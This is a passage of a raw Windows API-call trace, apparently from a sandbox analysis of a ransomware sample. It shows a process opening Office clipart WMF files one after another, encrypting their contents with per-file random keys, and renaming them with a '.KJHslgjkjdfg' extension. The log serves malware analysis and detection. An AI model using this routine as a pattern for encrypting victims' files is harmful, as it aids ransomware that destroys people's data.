ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1 [0215.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.147] GetProcessHeap () returned 0x2ef0000 [0215.147] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.147] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.148] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.148] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.148] GetProcessHeap () returned 0x2ef0000 [0215.148] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.148] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.148] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.148] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.151] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.151] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.151] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.151] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.151] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.152] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5880, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5880, lpOverlapped=0x0) returned 1 [0215.153] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5880, dwBufLen=0x5880 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5880) returned 1 [0215.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.153] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5880, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5880, lpOverlapped=0x0) returned 1 [0215.153] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.153] SetEndOfFile (hFile=0x130) returned 1 [0215.157] GetProcessHeap () returned 0x2ef0000 [0215.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.157] GetProcessHeap () returned 0x2ef0000 [0215.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.kjhslgjkjdfg")) returned 1 [0215.159] CloseHandle (hObject=0x130) returned 1 [0215.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1 [0215.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.161] GetProcessHeap () returned 0x2ef0000 [0215.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.161] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.161] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.164] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.164] GetProcessHeap () returned 0x2ef0000 [0215.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.164] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.164] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.165] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.165] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.165] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.165] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x477c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x477c, lpOverlapped=0x0) returned 1 [0215.169] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4780, dwBufLen=0x4780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4780) returned 1 [0215.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.169] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4780, lpOverlapped=0x0) returned 1 [0215.170] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.170] SetEndOfFile (hFile=0x130) returned 1 [0215.173] GetProcessHeap () returned 0x2ef0000 [0215.173] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.173] GetProcessHeap () returned 0x2ef0000 [0215.173] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.kjhslgjkjdfg")) returned 1 [0215.175] CloseHandle (hObject=0x130) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1 [0215.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.176] GetProcessHeap () returned 0x2ef0000 [0215.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.176] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.176] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.176] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.176] GetProcessHeap () returned 0x2ef0000 [0215.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.176] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.176] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.176] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.199] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.215] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.215] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.216] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.216] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.216] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.216] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x530, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x530, lpOverlapped=0x0) returned 1 [0215.216] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x530, dwBufLen=0x530 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x530) returned 1 [0215.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.216] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x530, lpOverlapped=0x0) returned 1 [0215.216] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.216] SetEndOfFile (hFile=0x130) returned 1 [0215.219] GetProcessHeap () returned 0x2ef0000 [0215.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.219] GetProcessHeap () returned 0x2ef0000 [0215.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.kjhslgjkjdfg")) returned 1 [0215.221] CloseHandle (hObject=0x130) returned 1 [0215.221] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1 [0215.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.223] GetProcessHeap () returned 0x2ef0000 [0215.223] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.223] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.223] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0215.239] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.239] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.239] GetProcessHeap () returned 0x2ef0000 [0215.239] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.239] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.239] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.239] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.239] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.240] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.240] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.240] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7d14, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7d14, lpOverlapped=0x0) returned 1 [0215.242] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7d20, dwBufLen=0x7d20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7d20) returned 1 [0215.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.242] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7d20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7d20, lpOverlapped=0x0) returned 1 [0215.243] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.243] SetEndOfFile (hFile=0x130) returned 1 [0215.246] GetProcessHeap () returned 0x2ef0000 [0215.246] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.246] GetProcessHeap () returned 0x2ef0000 [0215.247] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.kjhslgjkjdfg")) returned 1 [0215.249] CloseHandle (hObject=0x130) returned 1 [0215.249] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1 [0215.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.277] GetProcessHeap () returned 0x2ef0000 [0215.280] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.280] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.283] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.288] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, 